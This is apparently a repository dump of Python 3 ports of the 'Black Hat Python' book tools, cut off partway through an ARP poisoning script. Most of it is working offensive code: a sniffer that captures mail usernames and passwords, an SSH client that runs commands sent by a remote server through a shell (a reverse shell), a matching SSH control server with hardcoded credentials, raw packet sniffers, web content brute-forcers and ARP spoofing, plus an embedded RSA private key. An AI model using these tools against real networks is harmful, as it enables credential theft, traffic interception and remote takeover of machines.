├── requirements.txt ├── all.txt ├── .github └── auto_assign.yml ├── udp_client.py ├── tcp_client.py ├── mail_sniffer.py ├── bh_sshcmd.py ├── test_rsa.key ├── sniffer.py ├── tcp_server.py ├── bh_sshRcmd.py ├── web_app_mapper.py ├── LICENSE ├── bh_sshserver.py ├── content_bruter.py ├── .gitignore ├── sniffer_ip_header_decode.py ├── README.md ├── sniffer_with_icmp.py ├── arper.py ├── joomla_killer.py ├── pic_carver.py ├── scanner.py ├── tcp_proxy.py └── bhpnet.py /requirements.txt: -------------------------------------------------------------------------------- 1 | scapy 2 | -------------------------------------------------------------------------------- /all.txt: -------------------------------------------------------------------------------- 1 | test 2 | test1 3 | test2 4 | 3 5 | four 6 | cinqo 7 | -------------------------------------------------------------------------------- /.github/auto_assign.yml: -------------------------------------------------------------------------------- 1 | # Set to true to add reviewers to pull requests 2 | addReviewers: true 3 | 4 | # A list of reviewers to be added to pull requests (GitHub user name) 5 | reviewers: 6 | - edoardottt 7 | 8 | # A list of keywords to be skipped the process that add reviewers if pull requests include it 9 | skipKeywords: 10 | - wip 11 | 12 | # A number of reviewers added to the pull request 13 | # Set 0 to add all the reviewers (default: 0) 14 | numberOfReviewers: 0 15 | -------------------------------------------------------------------------------- /udp_client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Mon Jun 22 16:52:32 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import socket 10 | 11 | target_host = "127.0.0.1" 12 | target_port = 80 13 | 14 | # create a socket object 15 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 16 | 17 | # send some data 18 | client.sendto(b"AAABBBCCC", (target_host, target_port)) 19 | 20 | # receive some data 21 | data, addr = client.recvfrom(4096) 22 | 23 | print(data) 24 | -------------------------------------------------------------------------------- /tcp_client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Mon Jun 22 16:29:12 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import socket 10 | 11 | target_host = "0.0.0.0" 12 | target_port = 9999 13 | 14 | # create a socket object 15 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | 17 | # connect the client 18 | client.connect((target_host, target_port)) 19 | 20 | # send some data 21 | client.send(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n") 22 | 23 | # receive some data 24 | response = client.recv(4096) 25 | 26 | print(response) -------------------------------------------------------------------------------- /mail_sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Mon Aug 24 20:12:10 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | from scapy.all import * 10 | 11 | # our packet callback 12 | def packet_callback(packet): 13 | 14 | if packet[TCP].payload: 15 | 16 | mail_packet = str(packet[TCP].payload) 17 | 18 | if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): 19 | 20 | print("[*] Server: {}".format(packet[IP].dst)) 21 | print("[*] {}".format(packet[TCP].payload)) 22 | 23 | 24 | # fire up our sniffer 25 | sniff( 26 | filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0 27 | ) 28 | -------------------------------------------------------------------------------- /bh_sshcmd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Mon Jun 22 21:56:04 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import threading 10 | import paramiko 11 | import subprocess 12 | 13 | 14 | def ssh_command(ip, user, passwd, command): 15 | client = paramiko.SSHClient() 16 | # client.load_host_keys('/home/justin/.ssh/known_hosts') 17 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 18 | client.connect(ip, username=user, password=passwd) 19 | ssh_session = client.get_transport().open_session() 20 | if ssh_session.active: 21 | ssh_session.exec_command(command) 22 | print(ssh_session.recv(1024)) 23 | return 24 | 25 | 26 | ssh_command("192.168.100.131", "justin", "lovesthepython", "id") 27 | -------------------------------------------------------------------------------- /test_rsa.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyz 3 | oWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/ 4 | d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKB 5 | gBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0 6 | EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fon 7 | soVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9H 8 | tYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqU 9 | avNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA 10 | 4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3g 11 | H0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTv 12 | qfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wV 13 | HhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiSc 14 | nvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7 15 | -----END RSA PRIVATE KEY----- -------------------------------------------------------------------------------- /sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Tue Jun 23 10:16:29 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import socket 10 | import os 11 | 12 | # host to listen on 13 | host = "192.168.0.189" 14 | 15 | # create a raw socket and bind it to the public interface 16 | if os.name == "nt": 17 | socket_protocol = socket.IPPROTO_IP 18 | else: 19 | socket_protocol = socket.IPPROTO_ICMP 20 | 21 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 22 | 23 | sniffer.bind((host, 0)) 24 | 25 | # we want the IP headers included in the capture 26 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 27 | 28 | # if we're using Windows, we need to send an IOCTL 29 | # to set up promiscuous mode 30 | if os.name == "nt": 31 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 32 | 33 | # read in a single packet 34 | print(sniffer.recvfrom(65565)) 35 | 36 | # if we're using WIndows, turn off promiscuous mode 37 | if os.name == "nt": 38 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 39 | -------------------------------------------------------------------------------- /tcp_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Mon Jun 22 16:55:20 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import socket 10 | import threading 11 | 12 | bind_ip = "127.0.0.1" 13 | bind_port = 9999 14 | 15 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | 17 | server.bind((bind_ip, bind_port)) 18 | 19 | server.listen(5) 20 | 21 | print("[*] Listening on {}:{}".format(bind_ip, bind_port)) 22 | 23 | # this is our client-handling thread 24 | def handle_client(client_socket): 25 | 26 | # print out what the client sends 27 | request = client_socket.recv(4096) 28 | 29 | print("[*] Received: {}".format(request)) 30 | 31 | # send back a packet 32 | client_socket.send(b"ACK!") 33 | 34 | client_socket.close() 35 | 36 | 37 | while True: 38 | client, addr = server.accept() 39 | 40 | print("[*] Accepted connection from {}:{}".format(addr[0], addr[1])) 41 | 42 | # spin up our client thread to handle incoming data 43 | client_handler = threading.Thread(target=handle_client, args=(client,)) 44 | 45 | client_handler.start() -------------------------------------------------------------------------------- /bh_sshRcmd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Mon Jun 22 22:04:23 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import threading 10 | import paramiko 11 | import subprocess 12 | 13 | 14 | def ssh_command(ip, user, passwd, command): 15 | client = paramiko.SSHClient() 16 | # client.load_host_keys('/home/justin/.ssh/known_hosts') 17 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 18 | client.connect(ip, username=user, password=passwd) 19 | ssh_session = client.get_transport().open_session() 20 | if ssh_session.active: 21 | ssh_session.send(command) 22 | print(ssh_session.recv(1024)) # read banner 23 | while True: 24 | command = ssh_session.recv(1024) # get the command from the SSH server 25 | try: 26 | cmd_output = subprocess.check_output(command, shell=True) 27 | ssh_session.send(cmd_output) 28 | except Exception as e: 29 | ssh_session.send(str(e)) 30 | client.close() 31 | return 32 | 33 | 34 | ssh_command("192.168.100.130", "justin", "lovesthepython", "id") 35 | -------------------------------------------------------------------------------- /web_app_mapper.py: -------------------------------------------------------------------------------- 1 | import os 2 | import queue 3 | import threading 4 | import urllib.error 5 | import urllib.parse 6 | import urllib.request 7 | 8 | threads = 10 9 | target = "http://blackhatpython.com" 10 | directory = "." 11 | filters = [".jpg", ".gif", "png", ".css"] 12 | 13 | os.chdir(directory) 14 | web_paths = queue.Queue() 15 | 16 | for r, d, f in os.walk("."): 17 | for files in f: 18 | remote_path = "%s/%s" % (r, files) 19 | if remote_path.startswith("."): 20 | remote_path = remote_path[1:] 21 | if os.path.splitext(files)[1] not in filters: 22 | web_paths.put(remote_path) 23 | 24 | 25 | def test_remote(): 26 | while not web_paths.empty(): 27 | path = web_paths.get() 28 | url = "%s%s" % (target, path) 29 | request = urllib.request.Request(url) 30 | try: 31 | response = urllib.request.urlopen(request) 32 | print("[%d] => %s" % (response.code, path)) 33 | response.close() 34 | except urllib.error.HTTPError as error: 35 | print("Failed %s" % error.code) 36 | pass 37 | 38 | 39 | for i in range(threads): 40 | print("Spawning thread: %d" % i) 41 | t = threading.Thread(target=test_remote) 42 | t.start() 43 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /bh_sshserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Mon Jun 22 22:07:38 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import socket 10 | import paramiko 11 | import threading 12 | import sys 13 | 14 | # using the key from the Paramiko demo files 15 | host_key = paramiko.RSAKey(filename="test_rsa.key") 16 | 17 | 18 | class Server(paramiko.ServerInterface): 19 | def __init__(self): 20 | self.event = threading.Event() 21 | 22 | def check_channel_request(self, kind, chanid): 23 | if kind == "session": 24 | return paramiko.OPEN_SUCCEEDED 25 | return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 26 | 27 | def check_auth_password(self, username, password): 28 | if username == "justin" and password == "lovesthepython": 29 | return paramiko.AUTH_SUCCESSFUL 30 | return paramiko.AUTH_FAILED 31 | 32 | 33 | server = sys.argv[1] 34 | 35 | ssh_port = int(sys.argv[2]) 36 | 37 | try: 38 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 39 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 40 | sock.bind((server, ssh_port)) 41 | sock.listen(100) 42 | print("[+] Listening for connection...") 43 | client, addr = sock.accept() 44 | 45 | except Exception as e: 46 | print("[-] Listen failed: " + str(e)) 47 | sys.exit(1) 48 | print("[+] Got a connection!") 49 | 50 | try: 51 | bhSession = paramiko.Transport(client) 52 | bhSession.add_server_key(host_key) 53 | 54 | server = Server() 55 | try: 56 | bhSession.start_server(server=server) 57 | except paramiko.SSHException as x: 58 | print("[-] Negotiation failed.") 59 | chan = bhSession.accept(20) 60 | print("[+] Authenticated!") 61 | print(chan.recv(1024)) 62 | chan.send("Welcome to bh_ssh!") 63 | 64 | while True: 65 | try: 66 | command = input("Enter command: ").strip("\n") 67 | if command != "exit": 68 | chan.send(command) 69 | print(chan.recv(1024) + "\n") 70 | else: 71 | chan.send("exit") 72 | print("exiting") 73 | bhSession.close() 74 | raise Exception("exit") 75 | except Exception as e: 76 | print("[-] Caught exception: " + str(e)) 77 | try: 78 | bhSession.close() 79 | except: 80 | pass 81 | sys.exit(1) 82 | except: 83 | pass -------------------------------------------------------------------------------- /content_bruter.py: -------------------------------------------------------------------------------- 1 | import queue 2 | import threading 3 | import urllib.error 4 | import urllib.parse 5 | import urllib.request 6 | 7 | threads = 50 8 | target_url = "http://testphp.vulnweb.com" 9 | wordlist_file = "all.txt" # from SVNDigger 10 | resume = None 11 | user_agent = ( 12 | "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) " "Gecko/20100101 " "Firefox/19.0" 13 | ) 14 | 15 | 16 | def build_wordlist(wordlst_file): 17 | # read in the word list 18 | fd = open(wordlst_file, "r") 19 | raw_words = [line.rstrip("\n") for line in fd] 20 | fd.close() 21 | 22 | found_resume = False 23 | words = queue.Queue() 24 | 25 | for word in raw_words: 26 | if resume: 27 | if found_resume: 28 | words.put(word) 29 | else: 30 | if word == resume: 31 | found_resume = True 32 | print("Resuming wordlist from: %s" % resume) 33 | else: 34 | words.put(word) 35 | return words 36 | 37 | 38 | def dir_bruter(extensions=None): 39 | while not word_queue.empty(): 40 | attempt = word_queue.get() 41 | attempt_list = [] 42 | 43 | # check if there is a file extension if not 44 | # it's a directory path we're bruting 45 | if "." not in attempt: 46 | attempt_list.append("/%s/" % attempt) 47 | else: 48 | attempt_list.append("/%s" % attempt) 49 | 50 | # if we want to bruteforce extensions 51 | if extensions: 52 | for extension in extensions: 53 | attempt_list.append("/%s%s" % (attempt, extension)) 54 | 55 | # iterate over our list of attempts 56 | for brute in attempt_list: 57 | url = "%s%s" % (target_url, urllib.parse.quote(brute)) 58 | try: 59 | headers = {"User-Agent": user_agent} 60 | r = urllib.request.Request(url, headers=headers) 61 | response = urllib.request.urlopen(r) 62 | if len(response.read()): 63 | print("[%d] => %s" % (response.code, url)) 64 | except urllib.error.HTTPError as e: 65 | if e.code != 404: 66 | print("!!! %d => %s" % (e.code, url)) 67 | pass 68 | 69 | 70 | word_queue = build_wordlist(wordlist_file) 71 | file_extensions = [".php", ".bak", ".orig", ".inc"] 72 | 73 | for i in range(threads): 74 | t = threading.Thread(target=dir_bruter, args=(file_extensions,)) 75 | t.start() 76 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | .vscode/ 7 | 8 | # C extensions 9 | *.so 10 | 11 | # Distribution / packaging 12 | .Python 13 | build/ 14 | develop-eggs/ 15 | dist/ 16 | downloads/ 17 | eggs/ 18 | .eggs/ 19 | lib/ 20 | lib64/ 21 | parts/ 22 | sdist/ 23 | var/ 24 | wheels/ 25 | pip-wheel-metadata/ 26 | share/python-wheels/ 27 | *.egg-info/ 28 | .installed.cfg 29 | *.egg 30 | MANIFEST 31 | 32 | # PyInstaller 33 | # Usually these files are written by a python script from a template 34 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 35 | *.manifest 36 | *.spec 37 | 38 | # Installer logs 39 | pip-log.txt 40 | pip-delete-this-directory.txt 41 | 42 | # Unit test / coverage reports 43 | htmlcov/ 44 | .tox/ 45 | .nox/ 46 | .coverage 47 | .coverage.* 48 | .cache 49 | nosetests.xml 50 | coverage.xml 51 | *.cover 52 | *.py,cover 53 | .hypothesis/ 54 | .pytest_cache/ 55 | 56 | # Translations 57 | *.mo 58 | *.pot 59 | 60 | # Django stuff: 61 | *.log 62 | local_settings.py 63 | db.sqlite3 64 | db.sqlite3-journal 65 | 66 | # Flask stuff: 67 | instance/ 68 | .webassets-cache 69 | 70 | # Scrapy stuff: 71 | .scrapy 72 | 73 | # Sphinx documentation 74 | docs/_build/ 75 | 76 | # PyBuilder 77 | target/ 78 | 79 | # Jupyter Notebook 80 | .ipynb_checkpoints 81 | 82 | # IPython 83 | profile_default/ 84 | ipython_config.py 85 | 86 | # pyenv 87 | .python-version 88 | 89 | # pipenv 90 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 91 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 92 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 93 | # install all needed dependencies. 94 | #Pipfile.lock 95 | 96 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 97 | __pypackages__/ 98 | 99 | # Celery stuff 100 | celerybeat-schedule 101 | celerybeat.pid 102 | 103 | # SageMath parsed files 104 | *.sage.py 105 | 106 | # Environments 107 | .env 108 | .venv 109 | env/ 110 | venv/ 111 | ENV/ 112 | env.bak/ 113 | venv.bak/ 114 | 115 | # Spyder project settings 116 | .spyderproject 117 | .spyproject 118 | 119 | # Rope project settings 120 | .ropeproject 121 | 122 | # mkdocs documentation 123 | /site 124 | 125 | # mypy 126 | .mypy_cache/ 127 | .dmypy.json 128 | dmypy.json 129 | 130 | # Pyre type checker 131 | .pyre/ 132 | -------------------------------------------------------------------------------- /sniffer_ip_header_decode.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Tue Jun 23 10:43:01 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import socket 10 | 11 | import os 12 | import struct 13 | from ctypes import * 14 | 15 | # host to listen on 16 | host = "192.168.0.181" 17 | 18 | # our IP header 19 | class IP(Structure): 20 | _fields_ = [ 21 | ("ihl", c_ubyte, 4), 22 | ("version", c_ubyte, 4), 23 | ("tos", c_ubyte), 24 | ("len", c_ushort), 25 | ("id", c_ushort), 26 | ("offset", c_ushort), 27 | ("ttl", c_ubyte), 28 | ("protocol_num", c_ubyte), 29 | ("sum", c_ushort), 30 | ("src", c_uint32), 31 | ("dst", c_uint32), 32 | ] 33 | 34 | def __new__(self, socket_buffer=None): 35 | return self.from_buffer_copy(socket_buffer) 36 | 37 | def __init__(self, socket_buffer=None): 38 | 39 | # map protocol constants to their names 40 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 41 | 42 | # human readable IP adresses 43 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 44 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 45 | 46 | # human readable protocol 47 | try: 48 | self.protocol = self.protocol_map[self.protocol_num] 49 | except: 50 | self.protocol = str(self.protocol_num) 51 | 52 | 53 | # check the OS 54 | if os.name == "nt": 55 | socket_protocol = socket.IPPROTO_IP 56 | else: 57 | socket_protocol = socket.IPPROTO_ICMP 58 | 59 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 60 | 61 | sniffer.bind((host, 0)) 62 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 63 | 64 | if os.name == "nt": 65 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 66 | 67 | try: 68 | while True: 69 | 70 | # read in a packet 71 | raw_buffer = sniffer.recvfrom(65565)[0] 72 | 73 | # create an IP header from the first 20 bytes of the buffer 74 | ip_header = IP(raw_buffer[:20]) 75 | 76 | # print out the protocol that was detected and the hosts 77 | print( 78 | "Protocol {} {} -> {}".format( 79 | ip_header.protocol, ip_header.src_address, ip_header.dst_address 80 | ) 81 | ) 82 | 83 | # handle CTRL + C 84 | except KeyboardInterrupt: 85 | 86 | # if we're using Windows, turn off promiscuous mode 87 | if os.name == "nt": 88 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 89 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # bl4ck-h4t-pyth0n3-c0d3 2 | 3 | ![python-version](https://github.com/edoardottt/images/blob/main/black-hat-python-code/python-version.svg) 4 | 5 | tools (py3 version) of Black Hat Python book. 6 | 7 | (unfinished, if you want to contribute open an [issue](https://github.com/edoardottt/black-hat-python3-code/issues)! ) 8 | 9 | Contents 🔍 10 | --------- 11 | 12 | - **Chapter 2 - The Network: Basics** 13 | 14 | - [TCP client](https://github.com/edoardottt/black-hat-python3-code/blob/master/tcp_client.py) 15 | - [UDP client](https://github.com/edoardottt/black-hat-python3-code/blob/master/udp_client.py) 16 | - [TCP server](https://github.com/edoardottt/black-hat-python3-code/blob/master/tcp_server.py) 17 | - [BHPNet tool](https://github.com/edoardottt/black-hat-python3-code/blob/master/bhpnet.py) 18 | - [TCP proxy](https://github.com/edoardottt/black-hat-python3-code/blob/master/tcp_proxy.py) 19 | - [bh_sshcmd](https://github.com/edoardottt/black-hat-python3-code/blob/master/bh_sshcmd.py) 20 | - [bh_sshRcmd](https://github.com/edoardottt/black-hat-python3-code/blob/master/bh_sshRcmd.py) 21 | - [bh_sshserver](https://github.com/edoardottt/black-hat-python3-code/blob/master/bh_sshserver.py) 22 | 23 | - **Chapter 3 - The Network: Raw sockets and sniffing** 24 | 25 | - [sniffer](https://github.com/edoardottt/black-hat-python3-code/blob/master/sniffer.py) 26 | - [sniffer IP header decode](https://github.com/edoardottt/black-hat-python3-code/blob/master/sniffer_ip_header_decode.py) 27 | - [sniffer with ICMP](https://github.com/edoardottt/black-hat-python3-code/blob/master/sniffer_with_icmp.py) 28 | - [scanner](https://github.com/edoardottt/black-hat-python3-code/blob/master/scanner.py) 29 | 30 | - **Chapter 4 - Owning the network with Scapy** 31 | 32 | - [mail sniffer](https://github.com/edoardottt/black-hat-python3-code/blob/master/mail_sniffer.py) 33 | - [ARP poisoning](https://github.com/edoardottt/black-hat-python3-code/blob/master/arper.py) 34 | - [Pictures carver](https://github.com/edoardottt/black-hat-python3-code/blob/master/pic_carver.py) 35 | 36 | 37 | - **Chapter 5 - Web Hackery** 38 | 39 | - [Web app mapper](https://github.com/edoardottt/black-hat-python3-code/blob/master/web_app_mapper.py) 40 | - [Content bruter](https://github.com/edoardottt/black-hat-python3-code/blob/master/content_bruter.py) 41 | - [Joomla killer](https://github.com/edoardottt/black-hat-python3-code/blob/master/joomla_killer.py) 42 | 43 | Contributing 🛠 44 | ------- 45 | 46 | Just open an [issue](https://github.com/edoardottt/black-hat-python3-code/issues) / [pull request](https://github.com/edoardottt/black-hat-python3-code/pulls). 47 | 48 | Thanks to [confident-hate](https://github.com/confident-hate) and [mateuszz0000](https://github.com/mateuszz0000). 49 | 50 | License 📝 51 | ------- 52 | 53 | This repository is [unlicensed](https://github.com/edoardottt/black-hat-python3-code/blob/master/LICENSE). 54 | [edoardottt.com](https://edoardottt.com/) to contact me. 55 | -------------------------------------------------------------------------------- /sniffer_with_icmp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Tue Jun 23 11:48:00 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | import socket 10 | 11 | import os 12 | import struct 13 | from ctypes import * 14 | 15 | # host to listen on 16 | host = "192.168.1.6" 17 | 18 | # our IP header 19 | class IP(Structure): 20 | _fields_ = [ 21 | ("ihl", c_ubyte, 4), 22 | ("version", c_ubyte, 4), 23 | ("tos", c_ubyte), 24 | ("len", c_ushort), 25 | ("id", c_ushort), 26 | ("offset", c_ushort), 27 | ("ttl", c_ubyte), 28 | ("protocol_num", c_ubyte), 29 | ("sum", c_ushort), 30 | ("src", c_uint32), 31 | ("dst", c_uint32), 32 | ] 33 | 34 | def __new__(self, socket_buffer=None): 35 | return self.from_buffer_copy(socket_buffer) 36 | 37 | def __init__(self, socket_buffer=None): 38 | 39 | # map protocol constants to their names 40 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 41 | 42 | # human readable IP adresses 43 | self.src_address = socket.inet_ntoa(struct.pack("@I", self.src)) 44 | self.dst_address = socket.inet_ntoa(struct.pack("@I", self.dst)) 45 | 46 | # human readable protocol 47 | try: 48 | self.protocol = self.protocol_map[self.protocol_num] 49 | except: 50 | self.protocol = str(self.protocol_num) 51 | 52 | 53 | # our ICMP header 54 | class ICMP(Structure): 55 | 56 | _fields_ = [ 57 | ("type", c_ubyte), 58 | ("code", c_ubyte), 59 | ("checksum", c_ushort), 60 | ("unused", c_ushort), 61 | ("next_hop_mtu", c_ushort), 62 | ] 63 | 64 | def __new__(self, socket_buffer): 65 | return self.from_buffer_copy(socket_buffer) 66 | 67 | def __init(self, socket_buffer): 68 | pass 69 | 70 | 71 | # check the OS 72 | if os.name == "nt": 73 | socket_protocol = socket.IPPROTO_IP 74 | else: 75 | socket_protocol = socket.IPPROTO_ICMP 76 | 77 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 78 | 79 | sniffer.bind((host, 0)) 80 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 81 | 82 | if os.name == "nt": 83 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 84 | 85 | try: 86 | while True: 87 | 88 | # read in a packet 89 | raw_buffer = sniffer.recvfrom(65565)[0] 90 | 91 | # create an IP header from the first 20 bytes of the buffer 92 | ip_header = IP(raw_buffer[:20]) 93 | 94 | # print out the protocol that was detected and the hosts 95 | print( 96 | "Protocol {} {} -> {}".format( 97 | ip_header.protocol, ip_header.src_address, ip_header.dst_address 98 | ) 99 | ) 100 | 101 | # if it's ICMP, we want it 102 | if ip_header.protocol == "ICMP": 103 | 104 | # calculate where our ICMP packet starts 105 | offset = ip_header.ihl * 4 106 | buf = raw_buffer[offset : offset + sizeof(ICMP)] 107 | 108 | # create a new ICMP structure 109 | icmp_header = ICMP(buf) 110 | 111 | print( 112 | "ICMP -> Type: {} Code: {}".format(icmp_header.type, icmp_header.code) 113 | ) 114 | 115 | 116 | # handle CTRL + C 117 | except KeyboardInterrupt: 118 | 119 | # if we're using Windows, turn off promiscuous mode 120 | if os.name == "nt": 121 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 122 | -------------------------------------------------------------------------------- /arper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | Created on Mon Aug 24 21:03:30 2020 5 | 6 | @author: edoardottt 7 | """ 8 | 9 | from scapy.all import * 10 | import os 11 | import time 12 | import sys 13 | import threading 14 | import signal 15 | 16 | interface = "enp3s0" 17 | target_ip = "192.168.1.2" 18 | gateway_ip = "192.168.1.1" 19 | packet_count = 1000 20 | 21 | # set our interface 22 | conf.iface = interface 23 | 24 | # turn off output 25 | conf.verb = 0 26 | 27 | print("[*] Setting up {}".format(interface)) 28 | 29 | 30 | def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): 31 | 32 | # slightly different method using send 33 | print("[*] Restoring target...") 34 | send( 35 | ARP( 36 | op=2, 37 | psrc=gateway_ip, 38 | pdst=target_ip, 39 | hwdst="ff:ff:ff:ff:ff:ff", 40 | hwsrc=gateway_mac, 41 | ), 42 | count=5, 43 | ) 44 | send( 45 | ARP( 46 | op=2, 47 | psrc=target_ip, 48 | pdst=gateway_ip, 49 | hwdst="ff:ff:ff:ff:ff:ff", 50 | hwsrc=target_mac, 51 | ), 52 | count=5, 53 | ) 54 | 55 | # signals the main thread to exit 56 | os.kill(os.getpid(), signal.SIGINT) 57 | 58 | 59 | def get_mac(ip_address): 60 | 61 | responses, unanswered = srp( 62 | Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address), timeout=2, retry=10 63 | ) 64 | 65 | # return the MAC address from a response 66 | for s, r in responses: 67 | return r[Ether].src 68 | return None 69 | 70 | 71 | def poison_target(gateway_ip, gateway_mac, target_ip, target_mac): 72 | 73 | poison_target = ARP() 74 | poison_target.op = 2 75 | poison_target.psrc = gateway_ip 76 | poison_target.pdst = target_ip 77 | poison_target.hwdst = target_mac 78 | 79 | poison_gateway = ARP() 80 | poison_gateway.op = 2 81 | poison_gateway.psrc = target_ip 82 | poison_gateway.pdst = gateway_ip 83 | poison_gateway.hwdst = gateway_mac 84 | 85 | print("[*] Beginning the ARP poison. [CTRL-C to stop]") 86 | 87 | while True: 88 | try: 89 | send(poison_target) 90 | send(poison_gateway) 91 | 92 | 